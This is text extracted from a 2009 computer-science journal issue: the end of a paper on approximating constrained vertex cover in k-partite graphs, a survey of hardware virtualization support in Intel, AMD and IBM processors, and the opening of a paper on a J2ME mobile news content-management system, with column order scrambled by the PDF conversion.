Approximation algorithms return solutions with a guarantee attached, namely that the optimal solution can never be much better than this given solution. Thus we can never go too far wrong in using an approximation algorithm. No matter what our input instance is and how lucky we are, we are doomed to do all right. Further, approximation algorithms realizing provably good bounds often are conceptually simple, very fast, and easy to program.
Procedure boolean Make_decision(G) { Set S = NU NULL // S is a set of vertices For or i =1 to Number of partition in G Sel elect none or [1, k [P [ ord [ i ] ] ] – b [ P [ ord [ i ] ] ] ] vertices which are not used from i-th partition and add to S where every vertex coincident on at least one non-visited edge and more nonvisited edges than those are not selected. Mark all edges as visited concerned with selected vertex.
A. Algorithm for MIN-CVCK problem In this section, we described our proposed algorithm for minimum constrained vertex cover in k-partite graph. It is an approximation algorithm for MIN-CVCK problem. The procedure is described in the next column.
[ // ord is an array containing partition number such that k[ P[ord[ i ] ] ] – b[ P[ord[ i ] ] ] ≥ k [ P [ ord [ i +1 ] ] ] – b [ P [ ord [ i + 1 ] ] ] for all i < k]
70
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
If there exist at least one edge in G not coincident on vertex u ∈ S then return False End If Return True } // End_Procedure_Make_decision
VI. CONCLUSION Most theoretical computer scientist believes that the NP-complete problems are intractable. The reason is that if any single NP-complete problem can be solved in polynomial time, then every NP-complete problem has a polynomial-time algorithm. In this research, we show that the minimum vertex covering for k-partite graph is NP-complete. There are some limitations as our approximation algorithm is efficient for 80% graph. These are: i) if the graph can be drawn as a tree then our algorithm will give minimum + 1 solution for it, ii) there may be no solution or output for a very complex graph. Now, some of the open problems are as follows:
B.
Complexity Analysis Here we will define the complexity of our proposed CVCK algorithm. Let us given a graph G (V, E) with k partition where |V| = n. Now we get the complexity for average case, ( n – 1) { logn + ( n – 1 ) + ( n – 1 ) + k + k (n – 1 ) } => ( n – 1 ) logn + 2 ( n –1 )2 + ( n – 1) k + k ( n –1)2 => ( n – 1 )2 ( 2 + k ) + ( n – 1 ) ( k + logn) . . . . . . . . (i)
1. 2.
A.
Complexity for best caseWhen k = 2 then the complexity we get from equation (i), ( n – 1 )2 ( 2 + 2) + ( n – 1) ( 2 + logn) => 4 ( n –1 )2 + ( n – 1 ) log(n + 4) => O ( n2 ) + O ( nlogn ) => O ( n2 )
VII. REFERENCES [1] G. Bai, H. Fernau, “Constraint Bipartite Vertex Cover: Simpler Exact Algorithm and Implementations”, by Gouqiang Bai, Henning Fernau, Frontiers in Algorithmics, Springer, ISSN- 1611-3349, p67-68, 2008. [2] Jianer Chen and Iyad A. Kanj, Constrained Minimum Vertex Covering bipartite graphs: complexity and parameterized algorithms, Journal of Computer and System Sciences, 67(2003), pp. 833-847
Hence, we have showed that the time complexity for the above CVCK approximation algorithm is O(n2). The following table summarizes some known results of vertex cover problems.
[3] Jianer Chen, Iyad A. Kanj and Weijia Jia, Vertex Cover: Further Observations and Further Improvements1, Journal of Algorithms 41 (2001), pp. 280-301 [4] H. Fernan and R. Niedermeier, An efficient exact algorithm for constrained bipartite vertex cover, Lecture Notes in Computer Science 1672 (MFCS’99), (1999) pp. 387-397
Table 5.1: Complexity of some vertex cover problems
[5] M. R. Garley, and D. S. Johnson, Computers and Intractability : A Guide to the Theory of NP-Completeness, W. H. Freman Co., New York, 1979
Problem Domain
Time
Reference
Vertex Cover Problem
O(kn + 1.2852k)
Jianer Chen, Weijia Jia & Iyad A. Kanj [3]
Constrained minimum vertex cover in bipartite graph
O(1.26ku+kl) + (ku+kl) |G| )
Jianer Chen & Iyad A. Kanj [2]
Constrained minimum vertex cover in k-partite graph
Future Work
Is it possible to develop a perfect algorithm for maximum matching in k-partite graph? If it becomes possible then it will be easier to solve this type of NP-Complete problem. Is it possible to prove vertex cover in k-partite graph with node capacity (i.e. each node has its own costs) is NP-Complete? Is there any polynomial algorithm for construct k-partite graph from general graph?
Complexity for worst caseWhen k = n then the complexity we get from equation (i), ( n – 1)2 ( 2 + n ) + ( n – 1 ) (2 + logn) => O ( n3 ) + O ( n2 ) + O ( nlogn ) => O ( n3 )
An efficient exact algorithm for constrained bipartite vertex cover
What is the complexity of constrained minimum vertex cover in k-partite graph? Is it possible to minimize the complexity of approximation algorithm of this problem into O(nlogn) or less from O(n2) ?
[6] Steven S. Skiena, “The Algorithm Design Manual”, Springer Science+Business Media, ISBN: 978-1-84800-070-4, 2nd Edition, pp.156- 157, 218. [7] Lu Xuemiao, “On the complexity of induction of structural descriptions”, Journal of Computer Science and Technology, Vol. 2, ISSN:1860-4749, Springer, September 2008. [8] http://knowledgerush.com/kr/encyclopedia/, Last Checked: 30-07-2009
O(1.40k + kn)
O(n2)
[9] http://mathworld.wolfram.com/, Last Checked: 30-07-2009
Kamanashis Biswas, born in 1982, post graduated from Blekinge Institute of Technology, Sweden in 2007. His field of specialization is on Security Engineering. At present, he is working as a Lecturer in Daffodil International University, Dhaka, Bangladesh.
H. Fernan & R. Niedermeier [4]
S.A.M. Harun, is graduated from International Islamic University Chittagong. He is a programmer and ACM problem setter. Now he is working as a project manager in a software company. His major area of interest is developing efficient algorithm.
Ours
71
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
HARDWARE VIRTUALIZATION SUPPORT IN INTEL, AMD AND IBM POWER PROCESSORS Kamanashis Biswas Computer Science and Engineering Department Daffodil International University 102, Shukrabad, Dhaka-1207, Bangladesh
Md. Ashraful Islam Department of Business Administration Bangladesh Islami University Gazaria Tower, 89/12, R. K. Mission Road, Dhaka-1203 [email protected]
[email protected]
However, to implement multiprocessor operating systems and providing dynamic environment many technologies are evolved. But the most common and continuously updated technology is virtualization as all the companies like Intel, AMD, IBM always keep focus on this area by developing new and new virtualization techniques. Generally, virtualization is the faithful reproduction of an entire architecture in software which provides the illusion of a real machine to all software running above it [10]. Precisely, virtualization is a framework or methodology of dividing the resources of a computer into multiple execution environments, by applying one or more concepts or technologies such as hardware and software partitioning, time-sharing, partial or complete machine simulation, emulation, quality of service, and many others. This can be applied by either software or hardware or both and also for Desktop computer as well as for the Server machine. In software-only virtualization technique, a Virtual Machine Monitor (VMM) program is used to distribute resources to the current multiple threads. But this softwareonly virtualization solution has some limitations. One is allocation of memory space by guest operating systems where applications would conventionally run. Another problem is binary translation, i.e. the necessity of extra layer of communication for binary translation, in order to emulate the hardware environment by providing interfaces to physical resources such as processors, memory, storage, graphics cards, and network adapters [16]. So hardware virtualization technique is a good solution to face the above problems which works in cooperation with VMM. This virtualization technique provides a new architecture upon which the operating system can run directly, it removes the need for binary translation. Thus, increased performance and supportability ensured. It also enhances the reliability, supportability, security, and flexibility of virtualization solutions. So the keen interest is on hardware virtualization. This paper focuses on the virtualization supports of current microprocessors and makes a comparison among various hardware virtualization techniques offered by various companies. As there are many companies in the market competing with their latest technologies and improved facilities so it is important to have a good understanding about the mechanisms they are using. However, hardware virtualization is raising its acceptability over other virtualization techniques as it provides transparency, legacy
ABSTRACT – At present, the mostly used and developed mechanism is hardware virtualization which provides a common platform to run multiple operating systems and applications in independent partitions. More precisely, it is all about resource virtualization as the term ‘hardware virtualization’ is emphasized. In this paper, the aim is to find out the advantages and limitations of current virtualization techniques, analyze their cost and performance and also depict which forthcoming hardware virtualization techniques will able to provide efficient solutions for multiprocessor operating systems. This is done by making a methodical literature survey and statistical analysis of the benchmark reports provided by SPEC (Standard Performance Evaluation Corporation) and TPC (Transaction processing Performance Council). Finally, this paper presents the current aspects of hardware virtualization which will help the IT managers of the large organizations to take effective decision while choosing server with virtualization support. Again, the future works described in section 4 of this paper focuses on some real-world challenges such as abstraction of multiple servers, language level virtualization, pre-virtualization etc. which may be point of great interest for the researchers. Keywords: Hardware Virtualization, Paravirtualization, Virtual Machine Monitor, Hypervisor, Binary Translation, Xen, Denali.
1. INTRODUCTION A current trend in the computer industry is replacing uniprocessor computers with small multiprocessors [11]. Traditionally, most small multiprocessors have been SMPs (Symmetric Multiprocessors) with two or more processor chips where each processor has equal access to memory and hardware devices. But now, the scenario is going to be changed and the manufacturers are trying to increase PC manageability, user productivity and so on. Many techniques are already working to support multiprocessor operating systems such as giant locking, asymmetric approaches, virtualization, K42 etc. There are two approaches which are used for parallelized processors. First, Symmetric multithreading (SMT) [3] where two or more concurrently running program threads share processor resources, e.g. Intel Pentium 4 and Xenon processor [12], and the 2-way multithreaded Sony/IBM Cell processor . Second one is chip multiprocessors (CMPs) [5], which partitions the chip area into two or more mostly independent processor cores, e.g. IBM POWER4 architecture was released as a dual-core chip in 2001 [8].
72
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
support, simplicity, monitoring facility and security which is the point of interest for industrial computing systems.
shelf operating systems and applications without recourse to binary translation or paravirtualization. This capability greatly facilitates the deployment of VMMs and provides greater reliability and manageability of guest operating systems and applications.
II. DIFFERENT VIRTUALIZATION TECHNIQUES In uniprocessor system, it often assumes only one process in the kernel. As a result, it simplifies the kernel instructions and cross-process lock is not required. But the scenario is changed when multiple processors execute in the kernel. That means adding SMP support changes the original operating system. Hence mechanisms for supporting multiprocessors operating systems are required. There are different ways of organizing a multiprocessor operating system such as giant locking, coarse-grained locking, fine-grained locking, asymmetric approaches, virtualization and API/ABI compatibility and reimplementation. But the virtualization technique is the important one as the developers are continuously upgrading this technology. At first, we describe software-only virtualization and hardware virtualization. Then paravirtualization and full virtualization is explained.
C. PARAVIRTUALIZATION Basically, to overcome the virtualization challenges of software-only virtualization, the VMM was developed by the designers that modify guest software (source or binary). Denali and Xen are examples of VMMs that use source level modifications in a technique called paravirtualization. Paravirtualization is similar to hardware emulation because in concept it is designed to support multiple OSs. The only implementation of this technology today is the Xen open source project, soon to be followed by an actual product from XenSource. Paravirtualization provides high performance and eliminates the ‘changes to guest applications’. But the disadvantage is that it supports limited numbers of operating systems. For example, Xen cannot support an operating system that its developers have not modified, such as Microsoft Windows.
A. SOFTWARE ONLY VIRTUALIZATION In software-only virtualization technique, the concept of 2-bit privilege level is used: using 0 for most privileged software and 3 for least privileged those. In this architecture (IA-32 and Itanium), the guest operating systems each communicates with the hardware through the Virtual Machine Monitor (VMM) which must decide that access for all virtual machines on the system. Thus, the virtual machine can be run on non-privileged mode i.e. non-privileged instructions can be executed directly without involving the VMM. But there are some problems that arise in softwareonly solution. Firstly, ring aliasing- problems that arise when software is run at a privilege level other than the level for which it was written. Secondly, address-space compression- occurs when guest software tries to access the VMM’s guest’s virtual address space. Thirdly, impacts on guest transitions- may cause a transition to the VMM and not to the guest operating system. VMMs also face other technical challenges such as use of private memory for VMM use only, use of VMM interrupt handling, hidden state access etc. [16].
D. FULL VIRTUALIZATION Full system virtualization provides a virtual replica of the system’s hardware so that operating systems and software may run on the virtual hardware exactly as they would on the original hardware [13]. The first introduced software for full virtualization system was CP-67, designed as a specialized time-sharing system which exposed to each user a complete virtual System/360 computer. Though full virtualization on PC architectures is extremely complex, at present it is pioneered in the market since 1998 as VMware initiated x86 based virtualization providing the fundamental technology for all leading x86-based hardware suppliers. It creates a uniform hardware image that implemented through software on which both operating system and application programs can run.
III. HARDWARE VIRTUALIZATION SUPPORT IN MICROPROCESSORS The challenges imposed on IT business that the CIOs and IT managers always face are cost-effective utilization of IT infrastructure and flexibility in adapting to organizational changes. Hence, virtualization is a fundamental technological innovation that provides the skilled IT professionals to organize creative solutions to those business challenges. The leading companies of IT sector are also introducing their innovative and welldeveloped approaches every day to cope with demands of the age. Again the hardware virtualization support is an important factor for the field of Grid Computing or secure on-Demand Cluster computing. The hardware support for virtualization in current microprocessors is addressed in this section.
B. HARDWARE VIRTUALIZATION Hardware virtualization allows the VMM to run virtual machines in an isolated and protected environment. It is also transparent to the software running in the virtual machine, which thinks that it is in exclusive control of the hardware. In 1999, VMware introduced the hosted VMM, and it was capable of extending a modern operating system to support a virtual machine that acts and runs like the hardware level VMM of old [14]. To address the problems of software only virtualization solution, hardware virtualization mechanism is applied which is possibly the most commonly known technology, including products from VMware and Microsoft’s Virtual Server. Now, VMMs could run off-the-
73
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
A. INTEL HARDWARE SUPPORT
C. IBM HARDWARE SUPPORT
Intel is developing microprocessors with various advanced virtualization supports. They are updating their technologies constantly to facilitate the users’ demands. Starting with Server and mainframe systems virtualization, now Intel is providing hardware support for processor virtualization through virtual machine monitor software which is also known as hypervisor. The actual aim of using hypervisor is to arbitrate access to the underlying physical host system’s resources so that multiple operating systems that are guests to VMM, can share them. IA-32 and Itanium architecture were built on software-only virtualization support [16]. But unfortunately they faced many challenges while providing virtualization supports. The software cannot work properly in concern with the core hardware, that’s why it has to use complex schemes to imitate hardware features to the software. Moreover, it has to make the illusion that the host operating system thinking the virtual machine as another application. To eliminate these problems, VMM designers developed new solutions like Xen [2] and Denali VMMs that use source level modification known as paravirtualization. But the main limitation of this scheme is that it is applicable for a certain number of operating system. Hence Intel developed new architectures VT-x and VT-i for IA-32 processors (Core Duo and Solo) and Itanium processors family respectively which offered full virtualization using the hypervisor support. This new architecture enables VMM to run off-theself operating systems and applications without any binary translation or paravirtualization. As a result it increases robustness, reliability and security.
As the successor of POWER3 and POWER4, IBM introduced advanced virtualization capabilities in IBM POWER5 processors in 2004. This processor includes increased performance and other functional enhancements of virtualization- reliability, availability, and serviceability in both hardware and software levels [9]. It uses hypervisor which is the basis of the IBM virtualization technologies on Powers systems. This technology provides fast page mover and simultaneous multithreading which finally extends the capability of PPC5. It supports logical partitioning and micro partitioning. Up to ten LPARs (logical partitions) can be created for each CPU. Thus the biggest 64-Way system is able to run 256 independent operating systems. Memory, CPU-Power and I/O can be dynamically controlled between partitions. Thus, IBM PPC5 uses the paravirtualization or cooperative partitioning in conjunction with the ATX, i5/OS, and Linux operating systems which offers minimal overhead [7]. This also ensures efficient resource utilization through recovery of idle processing cycles, dynamic reconfiguration of partition resources, and consolidation of multiple operating systems on a single platform and platform enforced security and isolation between partitions. The latest processor of IBM with virtualization support is IBM POWER6- the world’s fastest computer chip, features industry leading virtualization capabilities. This processor provides a number of attractive features such as live partition mobility, expanded scalability, dynamic reallocation of resources etc. [6]. The Live Partition Mobility (LPM) feature allows clients to move running partitions automatically from one POWER6 server to another without powering down the server. Moreover, clients can create up to 160 virtual servers in a single box which provides much capability to run all kinds of different workloads (such as large scale database transactions to web servers) on the same server. IBM has built dynamic reallocation capabilities in chip. Users or in some cases the chip, itself, can reallocate and reassign computing resources within shared the environment. In addition to these exclusive features, IBM POWER6 provides enhanced performance, increased flexibility, application mobility etc.
B. AMD HARDWARE SUPPORT AMD has introduced their new Quad-Core AMD Opteron Processor (based on Pacifica specification) which is designed to provide optimal virtualization. This processor provides a number of features which enhances the performance and efficiency of the virtualization support. Firstly, AMD Opteron Rapid Virtualization Indexing, which allows virtual machine to more directly manage memory to improve performance on many virtualized applications [1]. It also decreases the “world-switch time” i.e. time spent switching from one virtual machine to another. Secondly, direct CPU-to-memory, CPUto-I/O, and CPU-to-CPU connections to streamline server virtualization is ensured through AMD’s direct connect architecture. Thus, it is possible to host more VMs per server and maximize the benefits of virtualization in terms of high bandwidth, low latency, and scalable access to memory. Thirdly, tagged Translation Look-Aside Buffer (TLB) has increased responsiveness in virtualized environments. Actually, through Tagged TLB, AMD Opteron processor maintains a mapping to the VMs individual memory spaces which eliminates additional memory management overhead and reduces switching time of virtual machines. Finally, Device Exclusion Vector (DEV) performs security checks in hardware rather than software. DEV mechanism controls access to virtual machine memory based on permission. These unique features have brought AMD to the frontline of battle on hardware virtualization support.
IV. FUTURE CHALLENGES AND SUPPORTS Though hardware virtualization support in current processors has resolved many problems, it may also provide new solution for some future challenges. Extension of existing operating systems to present the abstraction of multiple servers is required for implementation of virtualization at other levels of the software stack. Language level virtualization technologies may be introduced by the companies to provide language run-times that interpret and translate binaries compiled for abstract architectures enable portability. Today Sun’s Java and Microsoft’s CLR VMMs dominate the market for language level virtualization technologies [4]. Memory virtualization should be efficient enough to make frequent changes to their page tables. Moreover, research must look at the entire data center level and surely significant strides will be made in this area in the
74
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
incoming decade. At present, the manual migration is on practice, but the future should launch a virtual machine infra-structure that automatically performs load balancing, detects impending hardware failures and migrates virtual machines accordingly and creates and destroys virtual machines according to demand for particular support. To facilitate these supports, the instruction sets should be changed or new instructions should be added on which the processors can perform its jobs. Moreover, besides full and paravirtualization, pre-virtualization is a new technique that claims that it eliminates the guest-side engineering cost, yet matches the runtime performance of paravirtualization [17]. The virtualization will be useful for the industrial support, precisely for providing Grid services. At present, grid computing is gained prominence for its usage in physics, mathematics and medicine, to name just a few applications [10]. So grid computing or on-demand computing requires the virtualization support for taking the advantages of this technology in their shared computing environment.
technologies offered by Intel and AMD are not compatible, but each offers similar functionalities. These virtualizationfriendly extensions for the x86 architecture essentially provide the foundation to maximize the efficiency and capabilities of software virtualization. All microprocessor manufacturer companies are interested to enhance their virtualization capabilities. The main reason behind that hardware virtualization reduces the cost and provides reliability, availability & scalability. However, the concentration is more on server than the desktop computers as server machine requires more processing capacities. The table 5.2 in the next page shows the TPC Benchmark results (www.tpc.org) of AMD, Intel and IBM system with two server processors. This table indicates that IBM P6 provides the best performance among all as well as it results in highest price. IBM P6 can perform 404462 transactions per minute while it is 273666 for Intel. On the other hand, AMD is less than half of total transactions per minute performed by Intel. In terms of price, IBM P6 system costs four times more than Intel while AMD is almost same as Intel. Finally, the question is which forthcoming technology is going to overwhelm the others. The answer is hardware assisted virtualization techniques will dominate over all. From Power 5, IBM provides micro-partitioning and special technology for dynamic resource allocation. Again, AMD Opteron introduces tagged TLB, and Direct Connect Architecture which is designed for dedicated memory access and efficient switching between virtual machines. The integrated memory controller of AMD Opteron also improves overall virtualization performance and efficiency. And the most exciting news is that Intel also switches to hardware assisted virtualization techniques from their Intel Quad Core Xeon processor (7400 Series) which includes Intel VT FlexPriority for interrupt handling and Virtual Machine Device Queues (VMDq) to off-load the network I/O management burden and freeing processor cycles and improving overall performance. So, there is no doubt that the next advancement of hardware virtualization technology will be fully based on hardware assisted techniques.
V. DISCUSSION This paper describes an important part of the current computing systems as the present trend is to provide multiprocessor operating systems. The main objective of our study is to find out the current scenario of the hardware virtualization supports provided by various companies. From our survey, it is found that IBM is providing the best hardware virtualization supports where high availability, optimum system performance and efficiency are ensured. The most important feature incorporated in IBM technology is that the users have much control on shared resources as it is possible to modify the memory and I/O configurations in real time, without downtime, by the POWER6 server clients [6]. On the other hand, when IBM emphasizes on load balancing and live partition mobility, AMD focuses on intercommunication speed and performance such as high-bandwidth, lowlatency access to memory, high throughput responsiveness for applications etc. Featuring AMD Virtualization technology with Rapid Virtualization Indexing and Direct Connect Architecture, Quad-Core AMD Opteron processors enable industry leading virtualization platform efficiency [1]. Intel, the giant microprocessor manufacturer improves the existing software-only virtualization solutions by enhancing the reliability, supportability, security and flexibility of virtualization solutions. Intel is working on increased hardware virtualization supports for both server and desktop computer. However, the table 5.1 shown in the next page addresses some important features of Intel, AMD and IBM processor with virtualization support. From the table, it is clear that IBM POWER6 is the most powerful machine with enhanced virtualization capabilities. The fastest microprocessor used in POWER6 has hit speed of 6Hz, for the first time ever. Although IBM offers better output as it uses robust hardware support for virtualization, it is more costly than Intel and AMD. The user interaction also makes a security hole and vulnerable to the intruders. The virtualization
VI. CONCLUDING REMARKS Some problems that must be specified which we faced continuing the study. Firstly, to achieve the exact result it is required to get access in real hardware and it is not possible. Secondly, the SPEC results is not specific to virtualization support only, it includes the virtualization features within processors. So the performance measurement partly takes the virtualization support in consideration. But the good news is that Standard Performance Evaluation Corporation (SPEC) has created a working group to address the development of a set of industry standard methods to compare performance of virtualization technologies. Current members of the working group include AMD, Dell, Fujitsu Siemens, Hewlett-Packard, Intel, IBM, Sun Microsystems, SWsoft(Now Parallels) and VMware [15]. So, to draw a sound and more accurate conclusion we have to wait few more days. But this paper will definitely provide the basis to explore one’s journey towards hardware virtualization.
75
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
Table 5.1: Comparative view of Intel, AMD and IBM virtualization support based on SPEC evaluation [15].
Characteristics
Intel Xeon 7000
AMD Opteron
IBM POWER6
Series Processors
Processors
Processors
AMD-V with Rapid
Hardware Assisted
Intel Virtual
Virtualization
Technology (VT)
Modular, Glueless, Scalability
Virtualization
(LPM)
Indexing
Yes, supports up to 160
Requires Northbridge
Yes
Up to 4 Sockets/ 16
Up to 8 Sockets/ 32
Cores
Cores
SMP Capabilities
Live Partition Mobility
virtual servers Up to 8 Sockets/ 16 Cores Yes, user can create VMs
User Interaction
No
No
which span the entire system No, Sustain system
Server/ Yes
Yes
availability during
Application Downtime
maintenance or re-hosting
Concurrent firmware No
and Operating System
Yes, even when
No
applications are active
Updates
Table 5.2: TPC Benchmark results with price and performance (based on SPEC)
Spec Revision
tpmC (transacti on per minute)
Price/P erform ance
Total System Cost (USD)
5.6
113628
2.99
5.9
273666
5.8
404462
Total Server Cores
Total Server Threads
2
4
4
2
2
8
8
2
2
4
8
Server CPU Type
Total Server CPU's
Total Server Processors
338730
AMD Opteron – (2.6 GHz)
2
1.38
376910
Intel Quad-Core Xeon Processor X5460 (3.16GHz)
3.51
1417121
IBM Power6 (4.7 GHz)
76
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
REFERENCES 11. [Kågström, Lundberg and Grahn], The Application Kernel Approach- a Novel Approach for Adding SMP Support to Uniprocessor Operating Systems, by Simon Kågström, Lars Lundberg and Håkan Grahn, 18th International Parallel and Distributed Processing Symposium , 2004. Pg. 1-3..
1. [AMD], Product Brief: Quad-Core AMD Opteron Processor, Web: http://www.amd.com/us-en/Processors/ProductInformation /0,,30_118_8796_15223,00.html, Last checked: 24 October, 2008. 2. [Barham, Dragovic, Fraser, Hand, Harris, Ho, Neugebauer, Pratt, Warfield], Xen and the art of virtualization, by Paul Barham, Boris Dragovic, Keir Fraser, Steven Hand, Tim Harris, Alex Ho, Rolf Neugebauer, Ian Pratt and Andrew Warfield , October 2003, Proceedings of the nineteenth ACM symposium on Operating systems principles, Published by - ACM press.
12. [Marr, Binns, Hlill, Hinton, Koufaty, Miler, and Upton], Hyperthreading technology architecture and microarchitecture, by D. Marr, F. Binns ,D. L. Hlill, G. Hinton, D.A Koufaty , J. A. Miler, and M. Upton, Intel Technology Journal, 6(1):4-15, February 2002.
3. [Eggers, Emer, Levy, Lo, Stamm and Tullsen], Simultaneous multithreading: A platform for the next generation processor, by S. J Eggers, J. S. Levy, J. L. Lo , R. L. Stamm and D.M.Tullsen , IEEE Micro, 17 (5):12 -19, 1997.
13. [Rose], Survey of System Virtualization Techniques, by Robert Rose, Published:March 8, 2004, Web Page: http://www.robertwrose.com/vita/rose-virtualization.pdf, Last checked: 24 October, 2008.
4. [Fiqueriredo, Dinda, Fortes], Guest Editors’ Introduction Resource Virtualization Renaissance, by Renato Fiqueriredo, Peter A. Dinda and Jose Fortes, IEE Computer, Publication:May 2005, Volume: 38, Page(s): 28 -31, ISSN: 0018-9162
14. [Rosenblum], The Reincarnation of Virtual Machine, by Mendel Rosenblum, Volume 2, Year of publication- 2004, ISSN:1542-7730, ACM press. New York, USA. 15. [SPEC], SPEC Results-2006 [Processors], Web http://www.spec.org/, Last checked: 24 October, 2008.
5. [Hammond, Nayfeh and Olukotun], A single-chip multiprocessor, by L.Hammond, B. A. Nayfeh and K. Olukotun, Computer, 30(9):79 -85, 1997.
Page:
16. [Uhlig, Neiger, Rodgers, Santoni, Martins, Anderson, Bennett, Kagi, Leung, Smith], Intel Virtualization Technology, by Rich Uhlig, Gil Neiger, Dion Rodgers, Amy L. Santoni, Fernando C.M. Martins, Andrew V. Anderson, Steven M. Bennett, Alain Kägi, Felix H. Leung, Larry Smith, Intel Corporation . Published by IEEE, Volume 38, Issue 5, May, 2005, page(s): 48 -56.
6. [IBM], FACT SHEET: IBM POWER6 VIRTUALIZATION, Web: http://www-05.ibm.com/il/takebackcontrol/systemp/downloads/ POWER6_Fact-Sheet-052507.pdf, Last checked: 24 October, 2008. 7. [IBM], IBM Journal of Research and Development, by IBM, Web Page: http://www.research.ibm.com/journal/rd/494/armstrong.html, Last Checked: 24 October, 2008.
17. [Vasseur, Uhlig , Chapman, Chubb, Leslie, Heiser] PreVirtualization: Slashing the Cost of Virtualization, by Joshua Vasseur, Volkmar Uhlig , Matthew Chapman , Peter Chubb, Ben Leslie, Gernot Heiser, Technical report 2005: 30 November, 2005, Fakultät fur Informatik, Universität Karlsruhe (TH).
8. [Kahle], Power4: A dual. CPU processor chip, by J. Kahle, in proceedings of the 1999 International Microprocessor, San Jose, CA, October 1999.
__________________________________________________ 9. [Kalla, Sinharoy, Tendler], IBM Power5 chip: a dual-core multithreaded processor, by Ron Kalla, Balaran Sinharoy and Joel M. Tendler, IEEE Micro, Publication: May -April, 2004, Volume 24 , Page(s): 40-47 , ISSN: 0272-1732.
Kamanashis Biswas, born in 1982, post graduated from Blekinge Institute of Technology, Sweden in 2007. His field of specialization is on Security Engineering. At present, he is working as a Senior Lecturer in Daffodil International University, Bangladesh.
10.[Kiyanclar], A Servey of virtualization techniques Focusing on Secure On-Demand Cluster Computing, by Nadir Kiyanclar, University of Illinois, Urbana Champaign, Research of National Center for Supercomputing Applications. May 17, 2006.
Md. Ashraful Islam, is post graduated from American Liberty University, UK. Now he is working as an Assistant Professor in Bangladesh Islami University. His major area of interest is software engineering, e-learning and MIS.
77
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Dynamic Multimedia Content Retrieval System in Distributed Environment R. Sivaraman Deputy Director Center for convergence of technologies Anna University Tiruchirappalli Tiruchirappalli, India e-mail: [email protected]
R. Prabakaran Lecturer, Department of Electrical and Electronics Engineering Anna University Tiruchirappalli Tiruchirappalli, India e-mail: [email protected]
S. Sujatha Lecturer, Department of Computer Science and Engineering Anna University Tiruchirappalli Tiruchirappalli, India e-mail: [email protected]
move. It is a wireless cyber content management software running on a java enabled mobile device having GPRS connectivity. It finds application in news reporting agency to administer news site in real-time.
Abstract— WiCoM enables remote management of web resources. Our application Mobile reporter is aimed at Journalist, who will be able to capture the events in real-time using their mobile phones and update their web server on the latest event. WiCoM has been developed using J2ME technology on the client-side and PHP on the server–side. The communication between the client and the server is established through GPRS. Mobile reporter will be able to upload, edit and remove both textual as well as multimedia contents in the server. Keywords: wireless content management system; smart mobile device; J2ME; client-server architecture.
A reporter arriving at the site of the event can record the news of the current scenario from the various sources. He can take snaps, audios and videos and upload them right at the moment to the web-server making it available to the world in no time. There are options to edit/delete and thus provide various content management related features. Also, a modified version of it can be useful for e-commerce sites and online shopping sites too.
I. INTRODUCTION A content management system (CMS) is a system used to manage the content of a Web site. Typically, a CMS consists of two elements: the content management application (CMA) and the content delivery application (CDA). The CMA element allows the content manager or author, who may not know Hypertext Markup Language (HTML), to manage the creation, modification, and removal of content from a Web site without needing the expertise of a Webmaster. The CDA element uses and compiles that information to update the Web site. The features of a CMS system vary, but most include Web-based publishing, format management, revision control, and indexing, search, and retrieval.
II.
RELATED WORK
The integrated Content Management System (CMS) is a robust, easy-to-use web content manager built upon a flexible application framework; this framework was developed using inexpensive, open-source resources. It enables users to easily collaborate on creating and maintaining web site content, and provides the contractual relationships between the roles of web site developers, graphic designers, and managers, ensuring quality and integrity of content at all times. CMS is suitable for just about any web site model, such as news publications, customer support interfaces, Web portals, communities, project management sites, intranets, and extranets. Features include role definitions and workflow customizability, integrated searchable help, a clean modular system for extending the administrative interface, front-end content editing, embedding components into pages, email distribution lists, a news application, discussion forums, and much more. Planned enhancements include content syndication and aggregation, advanced role definitions and workflow customizability and modules. CMS currently requires PHP and Apache. It has been tested on Linux and Windows environments; and while not currently supported, it should run on MacOS X as well. The system natively runs on a MySQL database; however, by using the integrated database abstraction layer, it is possible to use most popular database systems including Oracle, Interbase, MySQL and MS SQL Server.
The Web-based publishing feature allows individuals to use a template or a set of templates approved by the organization, as well as wizards and other tools to create or modify Web content. The format management feature allows documents including legacy electronic documents and scanned paper documents to be formatted into HTML or Portable Document Format (PDF) for the Web site. The revision control feature allows content to be updated to a newer version or restored to a previous version. Revision control also tracks any changes made to files by individuals. An additional feature is indexing, search, and retrieval. A CMS system indexes all data within an organization. Individuals can then search for data using keywords, which the CMS system retrieves. WiCoM is a wireless application aimed at helping the general administration of cyber contents while being on the
78
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. XXX, No. XXX, 2009
edit and update news contents posted earlier. It has a search option to search for the relevant news and then bring about a change in it. Once the change is confirmed it is updated onto the database on the server
III. DEVELOPMENT ENVIRONMENT The Integrated Development Environment (IDE) chosen was Netbeans 6.0, an open source project that was developed in order to provide a vendor neutral IDE for developing software. This ran on top of the Java SDK1.4_12 which implements functionality that aids in the development of J2ME applications. This functionality includes fully integrating the Java wireless toolkit, which provides configurations and profiles for mobile development. The plugin also integrates the MIDP2 emulator that is provided with the wireless toolkit which can then be launched from within Netbeans 6.0.
Figure 2:.Communication between MIDlet and server application
Server Side The server-side system comprises of a web-server, i.e., apache. The scripts are PHP-based while the backend database server is MySQL. The news contents control instructions sent by the MIDlet client is received at the server end and processed by the respective PHP script. The PHP scripts that handle the MIDlet interaction perform various database based queries and also helps in the generation of xml based data to be consumed by the MIDlet. It is also responsible for dumping of media data properly. The use of xml provides ease in the generation of data for the consumption by the MIDlet. The user-interface is a simple web interface which displays the news contents by fetching them from the server depending on the criteria. The admininterface is basically for administering the news contents from the desktop.
Figure1: Data flow diagram
IV. SYSTEM STRUCTURE The structure of the system is divided into two components:
The client-side MIDlet application which resides on the mobile phones,.
